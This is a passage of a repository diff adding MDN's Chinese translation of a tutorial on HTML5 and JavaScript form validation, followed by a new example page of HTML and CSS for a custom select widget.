+ + + +

这就是表单校验 —— 当你向 Web 应用输入数据时,应用会验证你输入的数据是否是正确的。如果验证通过,应用允许提交这些数据到服务器并储存到数据库中(通常情况下),如果验证未通过,则 Web 应用会提示你有错误的数据,并且一般都会明确的告诉你错误发生在哪里。表单校验可以通过许多不同的方式实现。

+ +
+

译者注:下面一段在英文原文中已经删除

+
+ +

(事实上,没有人愿意填写表单 —— 很多证据表明,用户对填写表单这件事情都感到很烦恼,如果他们在填写表单的过程中遇到一些自己无法理解的问题,通常都会导致他们直接离开你的 Web 应用,简而言之,表单是一个很烦人的东西。)

+ +

我们希望把填写表单变的越简单越好。那么,为什么我们还坚持进行表单的数据校验呢?这有三个最主要的原因:

+ + + +
+

警告: 永远不要相信从客户端传递到服务器的数据。 即使您的表单正确验证并防止输入格式错误,恶意用户仍然可以更改网络请求。

+
+ +

不同类型的表单数据校验

+ +

在 Web 中,你可能会遇见各种不同的表单校验:

+ + + +

在真实的项目开发过程中,开发者一般都倾向于使用客户端校验与服务器端校验的组合校验方式以更好的保证数据的正确性与安全性。

+ +

使用内置表单数据校验

+ +

HTML5 一个特别有用的新功能就是,可以在不写一行脚本代码的情况下,即对用户的输入进行数据校验,这都是通过表单元素的校验属性实现的,这些属性可以让你定义一些规则,用于限定用户的输入,比如某个输入框是否必须输入,或者某个输入框的字符串的最小最大长度限制,或者某个输入框必须输入一个数字、邮箱地址等;还有数据必须匹配的模式。如果表单中输入的数据都符合这些限定规则,那么表示这个表单校验通过,否则则认为校验未通过。

+ +

当一个元素校验通过时:

+ + + +

如果一个元素未校验通过:

+ + + +

input 元素的校验约束 — starting simple

+ +

在这一节,我们将会看到一些用于{{HTMLElement("input")}}元素校验的HTML5的特性。

+ +

让我们用一个简单的例子开始 — 一个可以让你从香蕉或樱桃中选择你最喜欢的水果的input。 这个包含了一个简单的文本{{HTMLElement("input")}} 和一个与之匹配的label,还有一个 submit {{htmlelement("button")}}。你可以在GitHub fruit-start.html找到源码,在线例子如下:

+ + + +

{{EmbedLiveSample("Hidden_code", "100%", 50)}}

+ +

开始之前,先拷贝一份 fruit-start.html 放在你硬盘上的新目录里。

+ +

required 属性

+ +

最简单的HTML5校验功能是 {{htmlattrxref("required", "input")}}属性 — 如果要使输入成为必需的,则可以使用此属性标记元素。 当设置此属性时,如果输入为空,该表单将不会提交(并将显示错误消息),输入也将被视为无效。

+ +

添加一个 required 属性到你的 input 元素, 如下所示:

+ +
<form>
+  <label for="choose">Would you prefer a banana or cherry?</label>
+  <input id="choose" name="i_like" required>
+  <button>Submit</button>
+</form>
+ +

同时注意在示例文件中包含的 CSS :

+ +
input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}
+ +

以上样式效果为:在校验失败时 输入框会有一个亮红色的虚线边框, 在校验通过时会有一个更微妙的黑色边框。在以下示例中尝试新的行为:

+ +

{{EmbedLiveSample("required_属性", "100%", 50)}}

+ +

使用正则表达式校验

+ +

另一个常用的校验功能是 {{htmlattrxref("pattern","input")}} 属性, 以 Regular Expression 作为 value 值. 正则表达式 (regex) 是一个可以用来匹配文本字符串中字符的组合的模式,所以它们是理想的表单校验器,也可以支持 JavaScript 中许多其它的用途。

+ +

正则表达式相当复杂,我们不打算在本文中详尽地教你。

+ +

下面是一些例子,让你对它们的工作原理有个基本的了解:

+ + + +

你也可以在这些表达式中使用数字和其他字符, 例如:

+ + + +

你可以任意地组合这些,你可以任意指定不同的部分:

+ + + +

不管怎么说, 让我们来实现这些例子 — 更新你的html文档表单增加一个 pattern 属性, 如下:

+ +
<form>
+  <label for="choose">Would you prefer a banana or a cherry?</label>
+  <input id="choose" name="i_like" required pattern="banana|cherry">
+  <button>Submit</button>
+</form>
+ + + +

{{EmbedLiveSample("使用正则表达式校验", "100%", 50)}}

+ +

这个例子中, 该 {{HTMLElement("input")}} 元素接受两个值中的一个: 字符串 "banana" 或者字符串"cherry".

+ +

在这个基础上, 尝试把pattern 属性内部的表达式改变成上面的几个例子, 然后看看这些表达式如何影响您可以输入的值以使输入值有效. 尝试写一些你自己设计的,看看它如何工作。尽量让他们与水果有关这样你的例子才会有意义.

+ +
+

注意: 一些 {{HTMLElement("input")}} 元素类型不需要{{htmlattrxref("pattern","input")}} 属性进行校验. 指定特定 email 类型 就会使用匹配电子邮件格式的正则表达式来校验(如果有 {{htmlattrxref("multiple","input")}} 属性请用逗号来分割多个邮箱). 进一步来说, 字段 url 类型则会自动校验输入的是否为一个合法的链接.

+
+ +
+

注意: 该 {{HTMLElement("textarea")}} 元素不支持{{htmlattrxref("pattern","input")}} 属性.

+
+ +

限制输入的长度

+ +

所有文本框 ({{HTMLElement("input")}} 或 {{HTMLElement("textarea")}}) 都可以使用{{htmlattrxref("minlength","input")}} 和 {{htmlattrxref("maxlength","input")}} 属性来限制长度. 如果输入的字段长度小于 {{htmlattrxref("minlength","input")}} 的值或大于 {{htmlattrxref("maxlength","input")}} 值则无效. 浏览器通常不会让用户在文本字段中键入比预期更长的值,不过更精细的设置总归是更好的。

+ +

在数字条目中 (i.e. <input type="number">), 该 {{htmlattrxref("min","input")}} 和 {{htmlattrxref("max","input")}} 属性同样提供校验约束.如果字段的值小于{{htmlattrxref("min","input")}} 属性的值或大于 {{htmlattrxref("max","input")}} 属性的值,该字段则无效.

+ +

让我来看看另外一个例子. 创建一个 fruit-start.html 文件副本.

+ +

现在删除 <body> 元素中的内容, 替换成下面的代码:

+ +
<form>
+  <div>
+    <label for="choose">Would you prefer a banana or a cherry?</label>
+    <input id="choose" name="i_like" required minlength="6" maxlength="6">
+  </div>
+  <div>
+    <label for="number">How many would you like?</label>
+    <input type="number" id="number" name="amount" value="1" min="1" max="10">
+  </div>
+  <div>
+    <button>Submit</button>
+  </div>
+</form>
+ + + + + +

这里是运行的例子:

+ +

{{EmbedLiveSample("限制输入的长度", "100%", 70)}}

+ +
+

注意: <input type="number"> (或者其他类型, 像 range) 也可以获取到一个{{htmlattrxref("step", "input")}} 属性, 指定了值在增减过程固定改变的值 (如向上增加和向下减少的按钮).

+
+ +

完整的例子

+ +

这里就是一个完整的展示 HTML 中使用校验属性的例子:

+ +
<form>
+  <p>
+    <fieldset>
+      <legend>Title<abbr title="This field is mandatory">*</abbr></legend>
+      <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">Mr.</label>
+      <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Ms.</label>
+    </fieldset>
+  </p>
+  <p>
+    <label for="n1">How old are you?</label>
+    <!-- 这里的pattern属性可以用作不支持number类input浏览器的备用方法
+         请注意当与数字输入框一起使用时,支持pattern属性的浏览器会使它沉默失效。
+         它仅仅是在这里用作备用 -->
+    <input type="number" min="12" max="120" step="1" id="n1" name="age"
+           pattern="\d+">
+  </p>
+  <p>
+    <label for="t1">What's your favorite fruit?<abbr title="This field is mandatory">*</abbr></label>
+    <input type="text" id="t1" name="fruit" list="l1" required
+           pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range">
+    <datalist id="l1">
+      <option>Banana</option>
+      <option>Cherry</option>
+      <option>Apple</option>
+      <option>Strawberry</option>
+      <option>Lemon</option>
+      <option>Orange</option>
+    </datalist>
+  </p>
+  <p>
+    <label for="t2">What's your e-mail?</label>
+    <input type="email" id="t2" name="email">
+  </p>
+  <p>
+    <label for="t3">Leave a short message</label>
+    <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea>
+  </p>
+  <p>
+    <button>Submit</button>
+  </p>
+</form>
+ +
body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+  margin: 0;
+  padding: 0 5px;
+}
+
+p > label {
+  display: block;
+}
+
+input[type=text],
+input[type=email],
+input[type=number],
+textarea,
+fieldset {
+/* 需要在基于WebKit的浏览器上对表单元素进行恰当的样式设置 */
+  -webkit-appearance: none;
+
+  width : 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+input:invalid {
+  box-shadow: 0 0 5px 1px red;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+ +

{{EmbedLiveSample("完整的例子", "100%", 420)}}

+ +

自定义错误信息

+ +

正如我们上面所看到的例子, 每次我们提交无效的表单数据时, 浏览器总会显示错误信息. 但是显示的信息取决于你所使用的浏览器.

+ +

这些自动生成的错误有两个缺点:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
在英文页面上的法语反馈信息版本
浏览器渲染
Firefox 17 (Windows 7)Example of an error message with Firefox in French on an English page
Chrome 22 (Windows 7)Example of an error message with Chrome in French on an English page
Opera 12.10 (Mac OSX)Example of an error message with Opera in French on an English page
+ +

要自定义这些消息的外观和文本, 你必须使用 JavaScript; 不能使用 HTML 和 CSS 来改变.

+ +

HTML5 提供 constraint validation API 来检测和自定义表单元素的状态. 除此之外,他可以改变错误信息的文本. 让我们快速的看一个例子:

+ +
<form>
+  <label for="mail">I would like you to provide me an e-mail</label>
+  <input type="email" id="mail" name="mail">
+  <button>Submit</button>
+</form>
+ +

在JavaScript 中, 你调用 setCustomValidity() 方法:

+ +
var email = document.getElementById("mail");
+
+email.addEventListener("input", function (event) {
+  if (email.validity.typeMismatch) {
+    email.setCustomValidity("I expect an e-mail, darling!");
+  } else {
+    email.setCustomValidity("");
+  }
+});
+ +

{{EmbedLiveSample("自定义错误信息", "100%", 50)}}

+ +

 使用 JavaScript校验表单

+ +

如果你想控制原生错误信息的界面外观,或者你想处理不支持HTML内置表单校验的浏览器,则必须使用 Javascript。

+ +

约束校验的 API

+ +

越来越多的浏览器支持限制校验API,并且这逐渐变得可靠。这些 API 由成组的方法和属性构成,可在特定的表单元素接口上调用:

+ + + +

约束校验的 API 及属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性描述
validationMessage一个本地化消息,描述元素不满足校验条件时(如果有的话)的文本信息。如果元素无需校验(willValidate 为 false),或元素的值满足校验条件时,为空字符串。
validity一个 {{domxref("ValidityState")}} 对象,描述元素的验证状态。详见有关可能的验证状态的文章。
validity.customError如果元素设置了自定义错误,返回 true ;否则返回false
validity.patternMismatch如果元素的值不匹配所设置的正则表达式,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.rangeOverflow如果元素的值高于所设置的最大值,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.rangeUnderflow如果元素的值低于所设置的最小值,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.stepMismatch如果元素的值不符合 step 属性的规则,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.tooLong如果元素的值超过所设置的最大长度,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.typeMismatch如果元素的值出现语法错误,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
validity.valid如果元素的值不存在校验问题,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":valid")}} CSS 伪类,否则命中 {{cssxref(":invalid")}} CSS 伪类。
validity.valueMissing如果元素设置了 required 属性且值为空,返回 true,否则返回 false
+
+ 当此属性为 true 时,元素将命中  {{cssxref(":invalid")}} CSS 伪类。
willValidate如果元素在表单提交时将被校验,返回 true,否则返回 false
+ +

约束校验 API 的方法

+ + + + + + + + + + + + + + + + + + + + + + +
方法描述
checkValidity()如果元素的值不存在校验问题,返回 true,否则返回 false。如果元素校验失败,此方法会触发{{event("invalid")}} 事件。
{{domxref("HTMLFormElement.reportValidity()")}}如果元素或它的子元素控件符合校验的限制,返回 true . 当返回为 false 时, 对每个无效元素可撤销 {{event("invalid")}} 事件会被唤起并且校验错误会报告给用户 。
+

setCustomValidity(message)

+
为元素添加一个自定义的错误消息;如果设置了自定义错误消息,该元素被认为是无效的,则显示指定的错误。这允许你使用 JavaScript 代码来建立校验失败,而不是用标准约束校验 API 所提供的。这些自定义信息将在向用户报告错误时显示。
+
+ 如果参数为空,则清空自定义错误。
+ +

对于旧版浏览器,可以使用 polyfill(例如 Hyperform),来弥补其对约束校验 API 支持的不足。既然你已经使用 JavaScript,在您的网站或 Web 应用程序的设计和实现中使用 polyfill 并不是累赘。

+ +

使用约束校验 API 的例子

+ +

让我们看看如何使用这个 API 来构建自定义错误消息。首先,HTML:

+ +
<form novalidate>
+  <p>
+    <label for="mail">
+      <span>Please enter an email address:</span>
+      <input type="email" id="mail" name="mail">
+      <span class="error" aria-live="polite"></span>
+    </label>
+  </p>
+  <button>Submit</button>
+</form>
+ +

这个简单的表单使用 {{htmlattrxref("novalidate","form")}} 属性关闭浏览器的自动校验;这允许我们使用脚本控制表单校验。但是,这并不禁止对约束校验 API的支持或是以下 CSS 伪类:{{cssxref(":valid")}}、{{cssxref(":invalid")}}、{{cssxref(":in-range")}} 、{{cssxref(":out-of-range")}} 的应用。这意味着,即使浏览器在发送数据之前没有自动检查表单的有效性,您仍然可以自己做,并相应地设置表单的样式。

+ +

aria-live 属性确保我们的自定义错误信息将呈现给所有人,包括使用屏幕阅读器等辅助技术的人。

+ +
CSS
+ +

以下 CSS 样式使我们的表单和其错误输出看起来更有吸引力。

+ +
/* 仅为了使示例更好看 */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input[type=email]{
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* 校验失败的元素样式 */
+input:invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+
+/* 错误消息的样式 */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}
+ +
JavaScript
+ +

以下 JavaScript 代码演示如何设置自定义错误校验。

+ +
// 有许多方式可以获取 DOM 节点;在此我们获取表单本身和
+// email 输入框,以及我们将放置错误信息的 span 元素。
+
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+var error = document.querySelector('.error');
+
+email.addEventListener("input", function (event) {
+  // 当用户输入信息时,校验 email 字段
+  if (email.validity.valid) {
+    // 如果校验通过,清除已显示的错误消息
+    error.innerHTML = ""; // 重置消息的内容
+    error.className = "error"; // 重置消息的显示状态
+  }
+}, false);
+form.addEventListener("submit", function (event) {
+  // 当用户提交表单时,校验 email 字段
+  if (!email.validity.valid) {
+
+    // 如果校验失败,显示一个自定义错误
+    error.innerHTML = "I expect an e-mail, darling!";
+    error.className = "error active";
+    // 还需要阻止表单提交事件,以取消数据传送
+    event.preventDefault();
+  }
+}, false);
+ +

这是运行结果:

+ +

{{EmbedLiveSample("使用校验约束_API_的例子", "100%", 130)}}

+ +

约束校验 API 为您提供了一个强大的工具来处理表单校验,让您可以对用户界面进行远超过仅仅使用 HTML 和 CSS所能得到的控制。

+ +

不使用内建 API 时的表单校验

+ +

有时,例如使用旧版浏览器或自定义小部件,您将无法(或不希望)使用约束校验API。 在这种情况下,您仍然可以使用 JavaScript 来校验您的表单。 校验表单比起真实数据校验更像是一个用户界面问题。

+ +

要校验表单,您必须问自己几个问题:

+ +
+
我应该进行什么样的校验?
+
你需要确定如何校验你的数据:字符串操作,类型转换,正则表达式等。这取决于你。 只要记住,表单数据一般都是文本,并总是以字符串形式提供给脚本。
+
如果表单校验失败,我该怎么办?
+
这显然是一个 UI 问题。 您必须决定表单的行为方式:表单是否发送数据? 是否突出显示错误的字段?是否显示错误消息?
+
如何帮助用户纠正无效数据?
+
为了减少用户的挫折感,提供尽可能多的有用的信息是非常重要的,以便引导他们纠正他们的输入。 您应该提供前期建议,以便他们知道预期的输入是什么以及明确的错误消息。 如果您想深入了解表单校验用户界面要求,那么您应该阅读一些有用的文章: + +
+
+ +

不使用约束校验API 的例子

+ +

为了说明这一点,让我们重构一下前面的例子,以便它可以在旧版浏览器中使用:

+ +
<form>
+  <p>
+    <label for="mail">
+        <span>Please enter an email address:</span>
+        <input type="text" class="mail" id="mail" name="mail">
+        <span class="error" aria-live="polite"></span>
+    </label>
+  <p>
+  <!-- Some legacy browsers need to have the `type` attribute
+       explicitly set to `submit` on the `button`element -->
+  <button type="submit">Submit</button>
+</form>
+ +

正如你所看到的,HTML 几乎是一样的;我们只是关闭了 HTML 校验功能。 请注意,ARIA 是与 HTML5 无关的独立规范。

+ +
CSS
+ +

同样的,CSS也不需要太多的改动, 我们只需将 {{cssxref(":invalid")}} 伪类变成真实的类,并避免使用不适用于 Internet Explorer 6 的属性选择器。

+ +
/* 仅为了使示例更好看 */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input.mail {
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* 校验失败的元素样式 */
+input.invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus.invalid {
+  outline: none;
+}
+
+/* 错误消息的样式 */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}
+ +
JavaScript
+ +

JavaScript 代码有很大的变化,需要做更多的工作。

+ +
// 使用旧版浏览器选择 DOM 节点的方法较少
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+
+// 以下是在 DOM 中访问下一个兄弟元素的技巧
+// 这比较危险,很容易引起无限循环
+// 在现代浏览器中,应该使用 element.nextElementSibling
+var error = email;
+while ((error = error.nextSibling).nodeType != 1);
+
+// 按照 HTML5 规范
+var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
+
+// 许多旧版浏览器不支持 addEventListener 方法
+// 这只是其中一种简单的处理方法
+function addEvent(element, event, callback) {
+  var previousEventCallBack = element["on"+event];
+  element["on"+event] = function (e) {
+    var output = callback(e);
+
+    // 返回 `false` 来停止回调链,并中断事件的执行
+    if (output === false) return false;
+
+    if (typeof previousEventCallBack === 'function') {
+      output = previousEventCallBack(e);
+      if(output === false) return false;
+    }
+  }
+};
+
+// 现在我们可以重构字段的约束校验了
+// 由于不使用 CSS 伪类, 我们必须明确地设置 valid 或 invalid 类到 email 字段上
+addEvent(window, "load", function () {
+  // 在这里验证字段是否为空(请记住,该字段不是必需的)
+  // 如果非空,检查它的内容格式是不是合格的 e-mail 地址
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  email.className = test ? "valid" : "invalid";
+});
+
+// 处理用户输入事件
+addEvent(email, "input", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+  if (test) {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  } else {
+    email.className = "invalid";
+  }
+});
+
+// 处理表单提交事件
+addEvent(form, "submit", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  if (!test) {
+    email.className = "invalid";
+    error.innerHTML = "I expect an e-mail, darling!";
+    error.className = "error active";
+
+    // 某些旧版浏览器不支持 event.preventDefault() 方法
+    return false;
+  } else {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  }
+});
+ +

该结果如下:

+ +

{{EmbedLiveSample("不使用内建_API_时的表单校验", "100%", 130)}}

+ +

正如你所看到的,建立自己的校验系统并不难。 困难的部分是使其足够通用,以跨平台和任何形式使用它可以创建。 有许多库可用于执行表单校验; 你应该毫不犹豫地使用它们。 这里有一些例子:

+ + + +

 远程校验

+ +

在某些情况下,执行一些远程校验可能很有用。 当用户输入的数据与存储在应用程序服务器端的附加数据绑定时,这种校验是必要的。 一个应用实例就是注册表单,在这里你需要一个用户名。 为了避免重复,执行一个 AJAX 请求来检查用户名的可用性,要比让先用户发送数据,然后因为表单重复了返回错误信息要好得多。

+ +

执行这样的校验需要采取一些预防措施:

+ + + +

结论

+ +

表单校验并不需要复杂的 JavaScript,但它需要对用户的仔细考虑。 一定要记住帮助您的用户更正他提供的数据。 为此,请务必:

+ + + +

{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}

diff --git a/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html new file mode 100644 index 0000000000..93cf5069c2 --- /dev/null +++ b/files/zh-cn/learn/forms/how_to_build_custom_form_controls/example_1/index.html @@ -0,0 +1,418 @@ +--- +title: Example 1 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +--- +

这是第一个如果构建自定义表单小部件的代码解释事例。

+ +

基本状态

+ +

HTML

+ +
<div class="select">
+  <span class="value">Cherry</span>
+  <ul class="optList hidden">
+    <li class="option">Cherry</li>
+    <li class="option">Lemon</li>
+    <li class="option">Banana</li>
+    <li class="option">Strawberry</li>
+    <li class="option">Apple</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+
+ +

基本状态结果

+ +
{{ EmbedLiveSample('Basic_state', 120, 130) }}
+ +

活动状态

+ +

HTML

+ +
<div class="select active">
+  <span class="value">Cherry</span>
+  <ul class="optList hidden">
+    <li class="option">Cherry</li>
+    <li class="option">Lemon</li>
+    <li class="option">Banana</li>
+    <li class="option">Strawberry</li>
+    <li class="option">Apple</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFFFFF;
+}
+ +

活动状态结果

+ +
{{ EmbedLiveSample('Active_state', 120, 130) }}
+ +

展开状态

+ +

HTML

+ +
<div class="select active">
+  <span class="value">Cherry</span>
+  <ul class="optList">
+    <li class="option highlight">Cherry</li>
+    <li class="option">Lemon</li>
+    <li class="option">Banana</li>
+    <li class="option">Strawberry</li>
+    <li class="option">Apple</li>
+  </ul>
+</div>
+ +

CSS

+ +
/* --------------- */
+/* Required Styles */
+/* --------------- */
+
+.select {
+  position: relative;
+  display : inline-block;
+}
+
+.select.active,
+.select:focus {
+  box-shadow: 0 0 3px 1px #227755;
+  outline: none;
+}
+
+.select .optList {
+  position: absolute;
+  top     : 100%;
+  left    : 0;
+}
+
+.select .optList.hidden {
+  max-height: 0;
+  visibility: hidden;
+}
+
+/* ------------ */
+/* Fancy Styles */
+/* ------------ */
+
+.select {
+  font-size   : 0.625em; /* 10px */
+  font-family : Verdana, Arial, sans-serif;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
+  width   : 10em; /* 100px */
+
+  border        : 0.2em solid #000; /* 2px */
+  border-radius : 0.4em; /* 4px */
+
+  box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */
+
+  background : #F0F0F0;
+  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
+}
+
+.select .value {
+  display  : inline-block;
+  width    : 100%;
+  overflow : hidden;
+
+  white-space   : nowrap;
+  text-overflow : ellipsis;
+  vertical-align: top;
+}
+
+.select:after {
+  content : "▼";
+  position: absolute;
+  z-index : 1;
+  height  : 100%;
+  width   : 2em; /* 20px */
+  top     : 0;
+  right   : 0;
+
+  padding-top : .1em;
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  text-align : center;
+
+  border-left  : .2em solid #000;
+  border-radius: 0 .1em .1em 0;
+
+  background-color : #000;
+  color : #FFF;
+}
+
+.select .optList {
+  z-index : 2;
+
+  list-style: none;
+  margin : 0;
+  padding: 0;
+
+  background: #f0f0f0;
+  border: .2em solid #000;
+  border-top-width : .1em;
+  border-radius: 0 0 .4em .4em;
+
+  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
+
+  -moz-box-sizing : border-box;
+  box-sizing : border-box;
+
+  min-width : 100%;
+  max-height: 10em; /* 100px */
+  overflow-y: auto;
+  overflow-x: hidden;
+}
+
+.select .option {
+  padding: .2em .3em;
+}
+
+.select .highlight {
+  background: #000;
+  color: #FFF;
+}
+ +

展开状态结果

+ +
{{ EmbedLiveSample('Open_state', 120, 130) }}
